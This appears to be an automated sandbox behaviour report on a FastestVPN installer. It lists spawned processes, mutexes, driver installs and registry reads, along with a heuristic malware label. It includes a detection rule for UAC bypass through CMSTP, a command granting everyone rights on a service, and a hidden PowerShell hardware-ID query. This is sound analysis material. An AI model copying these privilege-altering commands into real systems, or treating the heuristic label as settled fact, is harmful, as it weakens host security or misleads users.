    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 38_2_051538B438_2_051538B4
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 38_2_0515336638_2_05153366
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_031A5F4845_2_031A5F48
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 45_2_031A5F4345_2_031A5F43
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 46_2_010383F646_2_010383F6
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_03D73D9F50_2_03D73D9F
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_03D7699C50_2_03D7699C
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_040F598850_2_040F5988
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_040F5F9F50_2_040F5F9F
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_041C76B750_2_041C76B7
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_0424571D50_2_0424571D
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_042D398650_2_042D3986
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_043333B950_2_043333B9
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_0433699850_2_04336998
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_0433327650_2_04333276
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_042F251850_2_042F2518
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_04335D9D50_2_04335D9D
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeProcess token adjusted: Load DriverJump to behavior
    Source: C:\Windows\System32\svchost.exeProcess token adjusted: SecurityJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: String function: 1000A044 appears 35 times
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: String function: 0103E03C appears 110 times
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: String function: 0103E368 appears 75 times
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: String function: 00007FF76A7081A8 appears 48 times
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5616 -ip 5616
    Source: mnFHs2DuKg.tmp.1.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
    Source: is-CEUK8.tmp.2.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
    Source: mnFHs2DuKg.exe, 00000001.00000000.1449624217.00000000004B9000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFileName vs mnFHs2DuKg.exe
    Source: mnFHs2DuKg.exe, 00000001.00000003.1454492134.0000000002B02000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileName vs mnFHs2DuKg.exe
    Source: mnFHs2DuKg.exe, 00000001.00000003.1456934372.000000007FE2E000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileName vs mnFHs2DuKg.exe
    Source: mnFHs2DuKg.exeBinary or memory string: OriginalFileName vs mnFHs2DuKg.exe
    Source: mnFHs2DuKg.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
    Source: C:\Program Files\FastestVPN\Resources\is-QVG37.tmp, type: DROPPEDMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
    Source: is-LKQ8H.tmp.2.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
    Source: is-L468K.tmp.2.drBinary string: Type the password for user :--- DEBUG NetDfsGetClientInfo Dfs path detected = --- DEBUG NetDfsGetClientInfo NetStatus = --- DEBUG NetDfsGetClientInfo DfsPath to check = \\%[^\]\%[^\]--- DEBUG NetDfsGetClientInfo exists in NetApi32.lib. DfsPath is checked = --- DEBUG NetDfsGetClientInfo not existing in NetApi32.lib. DfsPath not checked = NetDfsGetClientInfoNetApi32.dll--- DEBUG FileFullPathName Default Sam Server will be = --- DEBUG FileFullPathName ShareName is = --- DEBUG FileFullPathName Server is = \Device\LanmanRedirector\;%[^\]\%[^\]\%s\Device\LanmanRedirector\\Device\WinDfs\ privileges to run this tool successfullyYou may need privilege. This privilege may be required. WARNING :Unable to set SeDebugPrivilegeSeChangeNotifyPrivilegeSeTakeOwnershipPrivilegeSeBackupPrivilegeSeSecurityPrivilegeSeRestorePrivilegeCheckPriv : Memory ExhaustedParsing registry key error :Could not open Sam Server :Error OpenSCManager : will not be processed. Dfs path is not supported--- DEBUG ObjCreateInstance - Error FileFullPathName = Remote access is not allowed for kernelobject or process--- DEBUG ObjCreateInstance - Default Sam Server will be = - DfsPath is not supported
    Source: fastestvpndriver.sys.30.drBinary string: \Device\CtrlSM
    Source: is-A65FP.tmp.2.drBinary string: \Device\
    Source: is-VEH95.tmp.2.drBinary string: \Device\.tap\DosDevices\Global\.tapdiagTAP-Windows Adapter V9
    Source: classification engineClassification label: mal48.troj.spyw.expl.evad.winEXE@77/326@0/1
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D52E0 CharNextW,CharNextW,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,InitiateSystemShutdownExW,10_2_00007FF76A6D52E0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D4D80 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,InitiateSystemShutdownExW,10_2_00007FF76A6D4D80
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_100139D0 ?nf_adjustProcessPriviledges@nfapi@@YAXXZ,GetCurrentProcessId,OpenProcess,OpenProcessToken,CloseHandle,LookupPrivilegeValueA,CloseHandle,CloseHandle,AdjustTokenPrivileges,CloseHandle,CloseHandle,CloseHandle,31_2_100139D0
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 46_2_0101CA79 LookupPrivilegeValueW,AdjustTokenPrivileges,PrivilegeCheck,GetLastError,_CxxThrowException,46_2_0101CA79
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: OpenSCManagerA,CreateServiceW,CloseServiceHandle,GetLastError,GetLastError,OpenServiceA,QueryServiceStatus,StartServiceA,GetLastError,CloseServiceHandle,GetLastError,CloseServiceHandle,SetLastError,31_2_10013540
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_10013540 OpenSCManagerA,CreateServiceW,CloseServiceHandle,GetLastError,GetLastError,OpenServiceA,QueryServiceStatus,StartServiceA,GetLastError,CloseServiceHandle,GetLastError,CloseServiceHandle,SetLastError,31_2_10013540
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_013A13E8 StartServiceCtrlDispatcherW,50_2_013A13E8
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeCode function: 50_2_013A13E2 StartServiceCtrlDispatcherW,50_2_013A13E2
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPNJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Users\Public\Desktop\FastestVPN.lnkJump to behavior
    Source: C:\Windows\System32\drvinst.exeMutant created: \BaseNamedObjects\DrvInst.exe_mutex_{5B10AC83-4F13-4fde-8C0B-B85681BA8D73}
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMutant created: NULL
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMutant created: \Sessions\1\BaseNamedObjects\Global\netfxeventlog.1.0
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5576:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5452:120:WilError_03
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMutant created: \Sessions\1\BaseNamedObjects\F7ADS2TDE9SFT7VCP4NAF2A1S4TAE7S8TBVDPEN5FAA3S0T3EFS6T1V4PDN4F8user
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4464:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3964:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4520:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6844:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1888:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6160:120:WilError_03
    Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5616
    Source: C:\Program Files\FastestVPN\FastestVPN.exeMutant created: \Sessions\1\BaseNamedObjects\Global\8C9EED5B-604B-4700-866A-6A9606527CC6
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2952:120:WilError_03
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
    Source: C:\Users\user\Desktop\mnFHs2DuKg.exeFile created: C:\Users\user\AppData\Local\Temp\is-NV979.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\driver\install_tap.bat""
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCommand line argument: nfregdvr31_2_00401050
    Source: C:\Users\user\Desktop\mnFHs2DuKg.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
    Source: C:\Users\user\Desktop\mnFHs2DuKg.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile read: C:\Program Files\desktop.iniJump to behavior
    Source: C:\Users\user\Desktop\mnFHs2DuKg.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganizationJump to behavior
    Source: tapinstall.exeString found in binary or memory: itioned on the newly-added filter. ! Deletes the next occurrence of the specified filter. When the subcommand
    Source: tapinstall.exeString found in binary or memory: of the list. When the subcommand completes, the cursor is positioned on the newly-added filter. + Add after. I
    Source: FastestVPN.WindowsService.exeString found in binary or memory: registerHubProxies(proxies, true); this._registerSubscribedHubs(); }).disconnected(function () { // Unsubscribe all hub proxies when we "disconnect". This is to ensure that we do not re-add functional call backs.
    Source: FastestVPN.WindowsService.exeString found in binary or memory: /installtunnelservice "
    Source: mnFHs2DuKg.exeString found in binary or memory: /LOADINF="filename"
    Source: C:\Users\user\Desktop\mnFHs2DuKg.exeFile read: C:\Users\user\Desktop\mnFHs2DuKg.exeJump to behavior
    Source: unknownProcess created: C:\Users\user\Desktop\mnFHs2DuKg.exe "C:\Users\user\Desktop\mnFHs2DuKg.exe"
    Source: C:\Users\user\Desktop\mnFHs2DuKg.exeProcess created: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp "C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp" /SL5="$10460,12233551,735744,C:\Users\user\Desktop\mnFHs2DuKg.exe"
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\driver\install_tap.bat""
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "x86"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ver
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe tapinstall.exe remove tap0901
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe tapinstall.exe install OemVista.inf tap0901
    Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\oemvista.inf" "9" "4d14a44ff" "0000000000000154" "WinSta0\Default" "000000000000016C" "208" "c:\program files\fastestvpn\resources\driver\windows10\amd64"
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.2.601:tap0901," "4d14a44ff" "0000000000000154"
    Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\sp\install_sp.bat""
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc stop fastestvpndriver
    Source: unknownProcess created: C:\Program Files\FastestVPN\FastestVPN.exe "C:\Program Files\FastestVPN\FastestVPN.exe" -autorun
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "x86"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "Windows 7"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\xcopy.exe xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\drivers
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe release\nfregdrv.exe -u fastestvpndriver
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe release\nfregdrv.exe fastestvpndriver
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Windows\System32\sc.exe "C:\Windows\system32\sc.exe" stop FastestVPNService
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --uninstall
    Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5616 -ip 5616
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5616 -s 1076
    Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Windows\System32\sc.exe "C:\Windows\system32\sc.exe" delete FastestVPNService
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --install
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Program Files\FastestVPN\subinacl.exe "C:\Program Files\FastestVPN\subinacl.exe" /service FastestVPNService /GRANT=everyone=TO
    Source: C:\Program Files\FastestVPN\subinacl.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Windows\System32\sc.exe "C:\Windows\system32\sc.exe" start FastestVPNService
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: unknownProcess created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe"
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\regedit.exe regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
    Source: C:\Users\user\Desktop\mnFHs2DuKg.exeProcess created: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp "C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp" /SL5="$10460,12233551,735744,C:\Users\user\Desktop\mnFHs2DuKg.exe" Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\driver\install_tap.bat""Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\sp\install_sp.bat""Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Windows\System32\sc.exe "C:\Windows\system32\sc.exe" stop FastestVPNServiceJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --uninstallJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Windows\System32\sc.exe "C:\Windows\system32\sc.exe" delete FastestVPNServiceJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe tapinstall.exe remove tap0901Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Program Files\FastestVPN\subinacl.exe "C:\Program Files\FastestVPN\subinacl.exe" /service FastestVPNService /GRANT=everyone=TOJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Windows\System32\sc.exe "C:\Windows\system32\sc.exe" start FastestVPNServiceJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess created: unknown unknownJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "x86" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c verJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe tapinstall.exe remove tap0901Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe tapinstall.exe install OemVista.inf tap0901Jump to behavior
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\oemvista.inf" "9" "4d14a44ff" "0000000000000154" "WinSta0\Default" "000000000000016C" "208" "c:\program files\fastestvpn\resources\driver\windows10\amd64"Jump to behavior
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.2.601:tap0901," "4d14a44ff" "0000000000000154"Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc stop fastestvpndriverJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "x86" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "Windows 7" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\xcopy.exe xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\driversJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe release\nfregdrv.exe -u fastestvpndriverJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe release\nfregdrv.exe fastestvpndriverJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUIDJump to behavior
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5616 -ip 5616
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5616 -s 1076
    Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\regedit.exe regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
    Source: C:\Users\user\Desktop\mnFHs2DuKg.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\Desktop\mnFHs2DuKg.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: mpr.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: version.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: winhttp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: wtsapi32.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: winsta.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: textinputframework.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: coreuicomponents.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: coremessaging.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: ntmarta.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: coremessaging.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: wintypes.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: wintypes.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: wintypes.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: shfolder.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: rstrtmgr.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: ncrypt.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: ntasn1.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: textshaping.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpSection loaded: msftedit.dllJump to behavior
